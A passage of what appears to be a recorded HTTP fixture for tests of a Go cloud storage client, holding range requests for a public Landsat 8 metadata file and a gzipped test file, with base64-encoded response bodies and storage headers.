AgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF81ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzYgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNyA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF84ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzkgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8xID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8yID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8zID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF80ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF81ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF82ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF83ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF84ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF85ID0gLTAuMTAwMDAwCiAgRU5EX0dST1VQID0gUkFESU9NRVRSSUNfUkVTQ0FMSU5HCiAgR1JPVVAgPSBUSVJTX1RIRVJNQUxfQ09OU1RBTlRTCiAgICBLMV9DT05TVEFOVF9CQU5EXzEwID0gNzc0Ljg4NTMKICAgIEsxX0NPTlNUQU5UX0JBTkRfMTEgPSA0ODAuODg4MwogICAgSzJfQ09OU1RBTlRfQkFORF8xMCA9IDEzMjEuMDc4OQogICAgSzJfQ09OU1RBTlRfQkFORF8xMSA9IDEyMDEuMTQ0MgogIEVORF9HUk9VUCA9IFRJUlNfVEhFUk1BTF9DT05TVEFOVFMKICBHUk9VUCA9IFBST0pFQ1RJT05fUEFSQU1FVEVSUwogICAgTUFQX1BST0pFQ1RJT04gPSAiVVRNIgogICAgREFUVU0gPSAiV0dTODQiCiAgICBFTExJUFNPSUQgPSAiV0dTODQiCiAgICBVVE1fWk9ORSA9IDEwCiAgICBHUklEX0NFTExfU0laRV9QQU5DSFJPTUFUSUMgPSAxNS4wMAogICAgR1JJRF9DRUxMX1NJWkVfUkVGTEVDVElWRSA9IDMwLjAwCiAgICBHUklEX0NFTExfU0laRV9USEVSTUFMID0gMzAuMDAKICAgIE9SSUVOVEFUSU9OID0gIk5PUlRIX1VQIgogICAgUkVTQU1QTElOR19PUFRJT04gPSAiQ1VCSUNfQ09OVk9MVVRJT04iCiAgRU5EX0dST1VQID0gUFJPSkVDVElPTl9QQVJBTUVURVJTCkVORF9HUk9VUCA9IEwxX01FVEFEQVRBX0ZJTEUKRU5ECg==" - } - }, - { - "ID": "55eeb942e5603431", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/gcp-public-data-landsat/LC08/PRE/044/034/LC80440342016259LGN00/LC80440342016259LGN00_MTL.txt", - "Header": { - "Range": [ - "bytes=1-" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "7902" - ], - "Content-Range": [ - "bytes 1-7902/7903" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"7a5fd4743bd647485f88496fadb05c51\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 04 Oct 2016 16:42:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1475599327662000" - ], - "X-Goog-Hash": [ - "crc32c=PWBt8g==", - "md5=el/UdDvWR0hfiElvrbBcUQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "7903" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqlAytrsQn43Os8JxSOx4C8v9ApqqtqwEE7kZ-voKAcmcYe32lG7ANHxzNrwkqN8bbLLohoAHd88brZDVaC3U6Q01dhBBoeDFnlkCzHKUJjA8ZWrgM" - ] - }, - "Body": "Uk9VUCA9IEwxX01FVEFEQVRBX0ZJTEUKICBHUk9VUCA9IE1FVEFEQVRBX0ZJTEVfSU5GTwogICAgT1JJR0lOID0gIkltYWdlIGNvdXJ0ZXN5IG9mIHRoZSBVLlMuIEdlb2xvZ2ljYWwgU3VydmV5IgogICAgUkVRVUVTVF9JRCA9ICIwNzAxNjA5MTkxMDUxXzAwMDA0IgogICAgTEFORFNBVF9TQ0VORV9JRCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDAiCiAgICBGSUxFX0RBVEUgPSAyMDE2LTA5LTIwVDAzOjEzOjAyWgogICAgU1RBVElPTl9JRCA9ICJMR04iCiAgICBQUk9DRVNTSU5HX1NPRlRXQVJFX1ZFUlNJT04gPSAiTFBHU18yLjYuMiIKICBFTkRfR1JPVVAgPSBNRVRBREFUQV9GSUxFX0lORk8KICBHUk9VUCA9IFBST0RVQ1RfTUVUQURBVEEKICAgIERBVEFfVFlQRSA9ICJMMVQiCiAgICBFTEVWQVRJT05fU09VUkNFID0gIkdMUzIwMDAiCiAgICBPVVRQVVRfRk9STUFUID0gIkdFT1RJRkYiCiAgICBTUEFDRUNSQUZUX0lEID0gIkxBTkRTQVRfOCIKICAgIFNFTlNPUl9JRCA9ICJPTElfVElSUyIKICAgIFdSU19QQVRIID0gNDQKICAgIFdSU19ST1cgPSAzNAogICAgTkFESVJfT0ZGTkFESVIgPSAiTkFESVIiCiAgICBUQVJHRVRfV1JTX1BBVEggPSA0NAogICAgVEFSR0VUX1dSU19ST1cgPSAzNAogICAgREFURV9BQ1FVSVJFRCA9IDIwMTYtMDktMTUKICAgIFNDRU5FX0NFTlRFUl9USU1FID0gIjE4OjQ2OjE4LjY4NjczODBaIgogICAgQ09STkVSX1VMX0xBVF9QUk9EVUNUID0gMzguNTI4MTkKICAgIENPUk5FUl9VTF9MT05fUFJPRFVDVCA9IC0xMjMuNDA4NDMKICAgIENPUk5FUl9VUl9MQVRfUFJPRFVDVCA9IDM4LjUwNzY1CiAgICBDT1JORVJfVVJfTE9OX1BST0RVQ1QgPSAtMTIwLjc2OTMzCiAgICBDT1JORVJfTExfTEFUX1BST0RVQ1QgPSAzNi40MTYzMwogICAgQ09STkVSX0xMX0xPTl9QUk9EVUNUID0gLTEyMy4zOTcwOQogICAgQ09STkVSX0xSX0xBVF9QUk9EVUNUID0gMzYuMzk3MjkKICAgIENPUk5FUl9MUl9MT05fUFJPRFVDVCA9IC0xMjAuODMxMTcKICAgIENPUk5FUl9VTF9QUk9KRUNUSU9OX1hfUFJPRFVDVCA9IDQ2NDQwMC4wMDAKICAgIENPUk5FUl9VTF9QUk9KRUNUSU9OX1lfUFJPRFVDVCA9IDQyNjQ1MDAuMDAwCiAgICBDT1JORVJfVVJfUFJPSkVDVElPTl9YX1BST0RVQ1QgPSA2OTQ1MDAuMDAwCiAgICBDT1JORVJfVVJfUFJPSkVDVElPTl9ZX1BST0RVQ1QgPSA0MjY0NTAwLjAwMAogICAgQ09STkVSX0xMX1BST0pFQ1RJT05fWF9QUk9EVUNUID0gNDY0NDAwLjAwMAogICAgQ09STkVSX0xMX1BST0pFQ1RJT05fWV9QUk9EVUNUID0gNDAzMDIwMC4wMDAKICAgIENPUk5FUl9MUl9QUk9KRUNUSU9OX1hfUFJPRFVDVCA9IDY5NDUwMC4wMDAKICAgIENPUk5FUl9MUl9QUk9KRUNUSU9OX1lfUFJPRFVDVCA9IDQwMzAyMDAuMDAwCiAgICBQQU5DSFJPTUFUSUNfTElORVMgPSAxNTYyMQogICAgUEFOQ0hST01BVElDX1NBTVBMRVMgPSAxNTM0MQogICAgUkVGTEVDVElWRV9MSU5FUyA9IDc4MTEKICAgIFJFRkxFQ1RJVkVfU0FNUExFUyA9IDc2NzEKICAgIFRIRVJNQUxfTElORVMgPSA3ODExCiAgICBUSEVSTUFMX1NBTVBMRVMgPSA3NjcxCiAgICBGSUxFX05BTUVfQkFORF8xID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMS5USUYiCiAgICBGSUxFX05BTUVfQkFORF8yID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMi5USUYiCiAgICBGSUxFX05BTUVfQkFORF8zID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMy5USUYiCiAgICBGSUxFX05BTUVfQkFORF80ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNC5USUYiCiAgICBGSUxFX05BTUVfQkFORF81ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNS5USUYiCiAgICBGSUxFX05BTUVfQkFORF82ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNi5USUYiCiAgICBGSUxFX05BTUVfQkFORF83ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CNy5USUYiCiAgICBGSUxFX05BTUVfQkFORF84ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9COC5USUYiCiAgICBGSUxFX05BTUVfQkFORF85ID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9COS5USUYiCiAgICBGSUxFX05BTUVfQkFORF8xMCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEwLlRJRiIKICAgIEZJTEVfTkFNRV9CQU5EXzExID0gIkxDODA0NDAzNDIwMTYyNTlMR04wMF9CMTEuVElGIgogICAgRklMRV9OQU1FX0JBTkRfUVVBTElUWSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQlFBLlRJRiIKICAgIE1FVEFEQVRBX0ZJTEVfTkFNRSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfTVRMLnR4dCIKICAgIEJQRl9OQU1FX09MSSA9ICJMTzhCUEYyMDE2MDkxNTE4MzA1N18yMDE2MDkxNTIwMDk1MC4wMSIKICAgIEJQRl9OQU1FX1RJUlMgPSAiTFQ4QlBGMjAxNjA5MDIwODQxMjJfMjAxNjA5MTcwNzQwMjcuMDIiCiAgICBDUEZfTkFNRSA9ICJMOENQRjIwMTYwNzAxXzIwMTYwOTMwLjAyIgogICAgUkxVVF9GSUxFX05BTUUgPSAiTDhSTFVUMjAxNTAzMDNfMjA0MzEyMzF2MTEuaDUiCiAgRU5EX0dST1VQID0gUFJPRFVDVF9NRVRBREFUQQogIEdST1VQID0gSU1BR0VfQVRUUklCVVRFUwogICAgQ0xPVURfQ09WRVIgPSAyOS41NgogICAgQ0xPVURfQ09WRVJfTEFORCA9IDMuMzMKICAgIElNQUdFX1FVQUxJVFlfT0xJID0gOQogICAgSU1BR0VfUVVBTElUWV9USVJTID0gOQogICAgVElSU19TU01fTU9ERUwgPSAiRklOQUwiCiAgICBUSVJTX1NTTV9QT1NJVElPTl9TVEFUVVMgPSAiRVNUSU1BVEVEIgogICAgUk9MTF9BTkdMRSA9IC0wLjAwMQogICAgU1VOX0FaSU1VVEggPSAxNDguNDgwNDkzOTYKICAgIFNVTl9FTEVWQVRJT04gPSA1MC45Mzc2ODM5OQogICAgRUFSVEhfU1VOX0RJU1RBTkNFID0gMS4wMDUzNzUyCiAgICBHUk9VTkRfQ09OVFJPTF9QT0lOVFNfVkVSU0lPTiA9IDQKICAgIEdST1VORF9DT05UUk9MX1BPSU5UU19NT0RFTCA9IDU0OAogICAgR0VPTUVUUklDX1JNU0VfTU9ERUwgPSA1Ljg1NwogICAgR0VPTUVUUklDX1JNU0VfTU9ERUxfWSA9IDMuODQxCiAgICBHRU9NRVRSSUNfUk1TRV9NT0RFTF9YID0gNC40MjIKICAgIEdST1VORF9DT05UUk9MX1BPSU5UU19WRVJJRlkgPSAyMjgKICAgIEdFT01FVFJJQ19STVNFX1ZFUklGWSA9IDMuMzgyCiAgRU5EX0dST1VQID0gSU1BR0VfQVRUUklCVVRFUwogIEdST1VQID0gTUlOX01BWF9SQURJQU5DRQogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzEgPSA3NTEuOTU3MDkKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8xID0gLTYyLjA5Njg2CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfMiA9IDc3MC4wMTMxOAogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzIgPSAtNjMuNTg3OTQKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8zID0gNzA5LjU2MDYxCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMyA9IC01OC41OTU3NQogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzQgPSA1OTguMzQxNDkKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF80ID0gLTQ5LjQxMTIzCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNSA9IDM2Ni4xNTUxNQogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzUgPSAtMzAuMjM3MjEKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF82ID0gOTEuMDU5NDYKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF82ID0gLTcuNTE5NzIKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF83ID0gMzAuNjkxOTEKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF83ID0gLTIuNTM0NTUKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF84ID0gNjc3LjE1Nzg0CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfOCA9IC01NS45MTk5MgogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzkgPSAxNDMuMTAxNzMKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF85ID0gLTExLjgxNzM5CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfMTAgPSAyMi4wMDE4MAogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzEwID0gMC4xMDAzMwogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzExID0gMjIuMDAxODAKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8xMSA9IDAuMTAwMzMKICBFTkRfR1JPVVAgPSBNSU5fTUFYX1JBRElBTkNFCiAgR1JPVVAgPSBNSU5fTUFYX1JFRkxFQ1RBTkNFCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfMSA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfMSA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzIgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzIgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF8zID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF8zID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfNCA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfNCA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzUgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzUgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF82ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF82ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfNyA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfNyA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzggPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzggPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF85ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF85ID0gLTAuMDk5OTgwCiAgRU5EX0dST1VQID0gTUlOX01BWF9SRUZMRUNUQU5DRQogIEdST1VQID0gTUlOX01BWF9QSVhFTF9WQUxVRQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzEgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzEgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMiA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMiA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8zID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF8zID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzQgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzQgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfNSA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfNSA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF82ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF82ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzcgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzcgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfOCA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfOCA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF85ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF85ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzEwID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF8xMCA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xMSA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMTEgPSAxCiAgRU5EX0dST1VQID0gTUlOX01BWF9QSVhFTF9WQUxVRQogIEdST1VQID0gUkFESU9NRVRSSUNfUkVTQ0FMSU5HCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMSA9IDEuMjQyMkUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF8yID0gMS4yNzIwRS0wMgogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzMgPSAxLjE3MjFFLTAyCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfNCA9IDkuODg0MkUtMDMKICAgIFJBRElBTkNFX01VTFRfQkFORF81ID0gNi4wNDg3RS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzYgPSAxLjUwNDJFLTAzCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfNyA9IDUuMDcwMUUtMDQKICAgIFJBRElBTkNFX01VTFRfQkFORF84ID0gMS4xMTg2RS0wMgogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzkgPSAyLjM2NDBFLTAzCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMTAgPSAzLjM0MjBFLTA0CiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMTEgPSAzLjM0MjBFLTA0CiAgICBSQURJQU5DRV9BRERfQkFORF8xID0gLTYyLjEwOTI4CiAgICBSQURJQU5DRV9BRERfQkFORF8yID0gLTYzLjYwMDY2CiAgICBSQURJQU5DRV9BRERfQkFORF8zID0gLTU4LjYwNzQ3CiAgICBSQURJQU5DRV9BRERfQkFORF80ID0gLTQ5LjQyMTEyCiAgICBSQURJQU5DRV9BRERfQkFORF81ID0gLTMwLjI0MzI2CiAgICBSQURJQU5DRV9BRERfQkFORF82ID0gLTcuNTIxMjIKICAgIFJBRElBTkNFX0FERF9CQU5EXzcgPSAtMi41MzUwNQogICAgUkFESUFOQ0VfQUREX0JBTkRfOCA9IC01NS45MzExMAogICAgUkFESUFOQ0VfQUREX0JBTkRfOSA9IC0xMS44MTk3NQogICAgUkFESUFOQ0VfQUREX0JBTkRfMTAgPSAwLjEwMDAwCiAgICBSQURJQU5DRV9BRERfQkFORF8xMSA9IDAuMTAwMDAKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF8xID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzIgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfMyA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF80ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzUgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNiA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF83ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzggPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfOSA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzEgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzIgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzMgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzQgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzUgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzYgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzcgPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzggPSAtMC4xMDAwMDAKICAgIFJFRkxFQ1RBTkNFX0FERF9CQU5EXzkgPSAtMC4xMDAwMDAKICBFTkRfR1JPVVAgPSBSQURJT01FVFJJQ19SRVNDQUxJTkcKICBHUk9VUCA9IFRJUlNfVEhFUk1BTF9DT05TVEFOVFMKICAgIEsxX0NPTlNUQU5UX0JBTkRfMTAgPSA3NzQuODg1MwogICAgSzFfQ09OU1RBTlRfQkFORF8xMSA9IDQ4MC44ODgzCiAgICBLMl9DT05TVEFOVF9CQU5EXzEwID0gMTMyMS4wNzg5CiAgICBLMl9DT05TVEFOVF9CQU5EXzExID0gMTIwMS4xNDQyCiAgRU5EX0dST1VQID0gVElSU19USEVSTUFMX0NPTlNUQU5UUwogIEdST1VQID0gUFJPSkVDVElPTl9QQVJBTUVURVJTCiAgICBNQVBfUFJPSkVDVElPTiA9ICJVVE0iCiAgICBEQVRVTSA9ICJXR1M4NCIKICAgIEVMTElQU09JRCA9ICJXR1M4NCIKICAgIFVUTV9aT05FID0gMTAKICAgIEdSSURfQ0VMTF9TSVpFX1BBTkNIUk9NQVRJQyA9IDE1LjAwCiAgICBHUklEX0NFTExfU0laRV9SRUZMRUNUSVZFID0gMzAuMDAKICAgIEdSSURfQ0VMTF9TSVpFX1RIRVJNQUwgPSAzMC4wMAogICAgT1JJRU5UQVRJT04gPSAiTk9SVEhfVVAiCiAgICBSRVNBTVBMSU5HX09QVElPTiA9ICJDVUJJQ19DT05WT0xVVElPTiIKICBFTkRfR1JPVVAgPSBQUk9KRUNUSU9OX1BBUkFNRVRFUlMKRU5EX0dST1VQID0gTDFfTUVUQURBVEFfRklMRQpFTkQK" - } - }, - { - "ID": "320dc27adc377057", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/gcp-public-data-landsat/LC08/PRE/044/034/LC80440342016259LGN00/LC80440342016259LGN00_MTL.txt", - "Header": { - "Range": [ - "bytes=0-17" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 206, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "18" - ], - "Content-Range": [ - "bytes 0-17/7903" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"7a5fd4743bd647485f88496fadb05c51\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 04 Oct 2016 16:42:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1475599327662000" - ], - "X-Goog-Hash": [ - "crc32c=PWBt8g==", - "md5=el/UdDvWR0hfiElvrbBcUQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "7903" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UovperPufphUvaf55r54Wd-USAbL2ZQVTseICyulStqI633iJcFBLryyqecsHQcoU2cXp4MsKgB8uQu979IXcnv-aGNm6viDydIrqmPqA7SmPElPGI" - ] - }, - "Body": "R1JPVVAgPSBMMV9NRVRBREFU" - } - }, - { - "ID": "a20a4e3b35dfd271", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/gzipped-text.txt", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Encoding": [ - "gzip" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"c6117833aa4d1510d09ef69144d56790\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 14 Nov 2017 13:07:32 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Accept-Encoding" - ], - "X-Goog-Generation": [ - "1510664852486988" - ], - "X-Goog-Hash": [ - "crc32c=T1s5RQ==", - "md5=xhF4M6pNFRDQnvaRRNVnkA==" - ], - "X-Goog-Metageneration": [ - "2" - ], - "X-Goog-Storage-Class": [ - "MULTI_REGIONAL" - ], - "X-Goog-Stored-Content-Encoding": [ - "gzip" - ], - "X-Goog-Stored-Content-Length": [ - "31" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq7491k1eCc7fe_JApsP1zDcSyo759KmHvh-9YHm9ekpOGaG8v1bZNPjaMEkikJSDYt_LkVMHrb9HTDx9vvDGy3Zm1kPrlxS4933Sw-Wdh35lDomi4" - ] - }, - "Body": "H4sIAAAAAAAAC8tIzcnJVyjPL8pJAQCFEUoNCwAAAA==" - } - }, - { - "ID": "d1941f2e08f3bc52", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/storage-library-test-bucket/gzipped-text.txt", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Encoding": [ - "gzip" - ], - "Content-Type": [ - "text/plain" - ], - "Date": [ - "Thu, 02 May 2019 22:25:27 GMT" - ], - "Etag": [ - "\"c6117833aa4d1510d09ef69144d56790\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:27 GMT" - ], - "Last-Modified": [ - "Tue, 14 Nov 2017 13:07:32 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Accept-Encoding" - ], - "X-Goog-Generation": [ - "1510664852486988" - ], - "X-Goog-Hash": [ - 